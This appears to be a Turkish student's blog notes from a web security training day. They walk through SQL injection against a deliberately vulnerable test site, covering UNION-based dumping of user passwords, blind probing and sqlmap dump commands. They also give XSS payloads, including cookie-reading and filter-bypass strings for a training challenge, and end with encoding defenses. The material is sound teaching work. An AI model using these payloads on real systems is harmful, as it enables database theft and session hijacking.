Akademik Bilişim 2015 - Web Uygulama Güvenliği ve Sızma Testleri 2. Gün


        Akademik Bilişim 2015'in ikinci günü de geride kaldı. İlk gün için yazdığım blog yazısına çok güzel geri dönüşler aldım. Şöyle ki buradaki herkes bu iş için emek veriyor, en çok da eğitmenler. Boşa geçmesi herkes için üzücü olur. Bu anlamda desteklediğiniz için teşekkür ederim.

        Tüm gün bizimle etkileşimli olarak dersi götüren, öğrendiğimiz teorik bilgiyi pratiğe dökme konusunda hepimizle tek tek ilgilenen Mehmet İnce'ye ayrıca teşekkür ederim. Güne dünün tekrarı ile başladıktan sonra SQL Injection ve XSS konularında bol bol pratik yaparak günü tamamladık. Bundan sonraki kısım derste tuttuğum notlar. Her zamanki gibi eksiklerim ve yanlışlarım olmuştur, bildirirseniz sevinirim.


SQL INJECTION PRATİK:


Injection: Kullanıcıdan alınan girdilerin (input) kontrol edilmeden sorgularda kullanılmasıyla oluşan zafiyettir. Bu zafiyetten yararlanmak için kullanılan senaryo Mozilla Firefox tarayıcısında bulunan hackbar eklentisi yardımıyla http://testphp.vulnweb.com sitesinde sql injection atakları yapılmasıdır. Bu site php ile hazırlanmış üzerinde çeşitli zafiyetleri barındırır.

SQL Injection için gerekli sayfa ise;
http://testphp.vulnweb.com/listproducts.php?cat=1
  • HTTP GET talebi alır.
  • Kullanıcıdan kategori bilgisini alır.
  • Kategori bilgisine göre sorgu değişir.
Biz kullanıcı olarak sadece cat yani kategori kısmını değiştirebiliriz. Eğer güvenli bir kod yoksa integer yerine string bir değer gönderebiliriz.
  • cat=1 kısmını cat=1 OR 1=1 ile değiştirdiğimizde sql mantığı ile sağ taraf her zaman doğru olduğu için tüm kategorileri listelemiş oluruz.
  • Sql sorgularında UNION kullanırken sağ ve sol sorguların çıktılarının sütun sayısının eşit olması gerekir. Sayfanın görüntüsüne bakarak kaç sütunu olabilir diye düşündükten sonra hata almayana kadar sütun ekledik. -99999 yaparak da elimizde hangi kısma hangi sütun numarası geldiğini bulduk.
http://testphp.vulnweb.com/listproducts.php?cat=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11
http://testphp.vulnweb.com/listproducts.php?cat=-99999 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11
  • Version Bilgisi:
http://testphp.vulnweb.com/listproducts.php?cat=-99999 UNION SELECT 1,version(),3,4,5,6,7,8,9,10,11
  • Veritabanı İsmi:
http://testphp.vulnweb.com/listproducts.php?cat=-99999 UNION SELECT 1,2,3,4,5,6,database(),8,9,10,11
  • Tablo İsimleri:
http://testphp.vulnweb.com/listproducts.php?cat=-99999 UNION SELECT 1,2,3,4,5,6,table_name,8,9,10,11 from information_schema.tables where table_schema='acuart'
  • Tablolar ve Kolon İsimleri:
http://testphp.vulnweb.com/listproducts.php?cat=-99999 UNION SELECT 1,column_name,3,4,5,6,table_name,8,9,10,11 from information_schema.columns where table_schema='acuart'
  • USERS isimli tablonun Kolon İsimleri:
http://testphp.vulnweb.com/listproducts.php?cat=-99999 UNION SELECT 1,column_name,3,4,5,6,table_name,8,9,10,11 from information_schema.columns where table_name='users'
  • USERS Tablosundaki Kayıtlar (uname, pass, phone)
http://testphp.vulnweb.com/listproducts.php?cat=-99999 UNION SELECT 1,pass,3,4,5,6,uname,8,phone,10,11 from users


BLIND SQL INECTION:
  • Bazı şeyleri kontrol ederek bilginin tamamına ulaşmayı amaçlar.
  • AND yapısı kullanılarak yanlış bir önermede sonuç dönmeyecektir.
  • Sadece tüm önermeler doğru olduğunda bir yanıt döner böylece bilgi teyit edilmiş olunur.
substring(string, 1, 1): Birden başlayıp bire kadar olan karakterler.
http://testphp.vulnweb.com/listproducts.php?cat=1 AND substring(version(),1, 1): version() fonksiyonunun sonucunun ilk karakterini öğrendik.


http://testphp.vulnweb.com/listproducts.php?cat=1 AND ASCII(substring(version(),1, 1)=5)=53
Eğer 53’ü bilmiyorsak;
http://testphp.vulnweb.com/listproducts.php?cat=1 AND ASCII(substring(version(),1, 1)=5)<96
http://testphp.vulnweb.com/listproducts.php?cat=1 AND ASCII(substring(version(),1, 1)=5)>20
gibi deneme yaparak 53’ü bulunmaya çalışılır.


Eğer uzunluğunu bilmiyorsak:
http://testphp.vulnweb.com/listproducts.php?cat=1 AND ASCII(substring(999,1, 1)=5)>64


Bir tablo isminin ilk karakterini bulmak için;
http://testphp.vulnweb.com/listproducts.php?cat=1 AND ASCII(substring((SELECT table_name FROM information_schema.tables LIMIT 1,1),1,1))>0


  SQLMAP:


VirtualBox’da Kali İşletim Sistemi kullanılarak sqlmap çalıştık. Sqlmap ise yaptığımız işlemleri kendisi yapan bir araç. Hedef sistem stabil mi diye kontrol eder.


sqlmap -u “http://testphp.vulnweb.com/listproducts.php?cat=.” -p “cat”
  • Bu komutta cat değişkeni üzerinden çeşitli değerler gönderir ve hata alır. Aldığı hatlardan mysql olduğunu anlayabilir. Daha sonra mysql ile ilgili ataklar dener.
  • Test ederken farklı seviyelerde daha spesifik testler kullanır ve zafiyeti bulma olasılığı artar fakat bu karşı tarafın ilgisini çeker.

sqlmap -u “http://testphp.vulnweb.com/listproducts.php?cat=.” -p “cat” --technique U -T “users”
sqlmap -u “http://testphp.vulnweb.com/listproducts.php?cat=.” -p “cat” --technique U -T “users” -C “email,name” --dump
sqlmap -u “http://testphp.vulnweb.com/listproducts.php?cat=.” -p “cat” --technique U -D “acuart” --dump-all
sqlmap -u “http://testphp.vulnweb.com/listproducts.php?cat=.” -p “cat” --technique --tables


XSS:
  • Kullanıcıdan alınan girdilerin(input) kontrol edilmeden ve outpu tekniği kullanılmadan tekrardan kullanıcıya gönderilecek olan html kodunun içerisine yazılmasıdır.
  • Kullanıcının html içeriğini düzenleyebilirsek başka bir web sitesini taklit edebilir (banka gibi) veya kullanıcının oturum anahtarı çalınabilir
www.site.com/search/?keyword=Mehmet

ab2015 search kısmında arandığında Post Data kısmında


searchFor=ab2015&goButton=go yazar. Bu kısmı değiştirerek istenilen işlem yaptırılabilir.


searchFor=<script>window.location='//google.com'</script>&goButton=go: Google'a yönlendirir.


searchFor=<script>alert(1)</script>&goButton=go: Ekrana alert uyarısı basar.


searchFor=<script>console.log("merhaba")</script>&goButton=go


<img src=# onerror=allert(document.cookie)>@blabla.com

Not: OWASP Xenotix XSS Exploit Framework v6.1


  1. HTML Context
    1. <div>Merhaba</div>
  2. JS Context
    1. <script>var name=””;alert(1); f=””</script>
  3. Attribute Context
    1. <input>name=“isim” value=” ”onmouseover” “=</input>
  4. Style Contex

Burdan sonraki kısım Mehmet İnce'nin hazırladığı XSS yarışması ile öğrendiklerimizi geliştirdik.


http://mdisec.com/h4ckm3/xss-1/index.php


Alert tehlikeli bir fonksiyon olduğu için uygulama bu fonksiyonu otomatik olarak kaldırır. Biz de alertin tam ortasına başka bir alert eklersek ortadakini kaldırdıktan sonra elimizde yine alert kalır.


';alealertrt(1);f='
document.getElementById(‘icerik’).innerHTML=’;alealertrt(1);f=’


http://mdisec.com/h4ckm3/xss-2/index.php

Tek tırnak ve kesme işareti kullanılmıyor.  Hemen öncesine kaçış karakteri ekliyor. Yukarıdaki alert ile ilgili olan kısım aynen geçerlidir.


<script src="http://code.jquery.com/jquery-1.11.0.min.js"></script>
       <script>
$( document ).ready(function() {
var LoadString = function(str){
$('#content').text(str);
   }
LoadString('ab2015')
});
       </script>


Çözüm 1: </scSCRIPTript><scSCRIPTript>alealertrt(1)</scSCRIPTript>
Çözüm 2: </scSCRIPTript><svsvgg onload =alealertrt(1)>


http://mdisec.com/h4ckm3/xss-3/index.php?ali=


<a href=”javascript:alert(1)”>Tıkla</a>


http://mdisec.com/h4ckm3/xss-4/index.php?ali=


XSS Engelleme:


  1. HTMl Context:
    1. < (&lt;) ve > (&gt;) karakterlerini iptal (encode) edersek HTML de bir payload yazılması mümkün olmaz.
  2. JS Context:
    1. ‘ (&#39), “ (&qout), \, < (&lt;) ve > (&gt;) karakterleri encode edilmeli.
    2. %0A(Alt satıra inme) kullanarak yorum satırlarındaki parçaları yorum olmaktan çıkarabiliriz. (TEST%0Aalert%28 1 %29 %3B)
  3. Attribute Context:
    1. ‘ ve “ karakterleri encode edilmeli.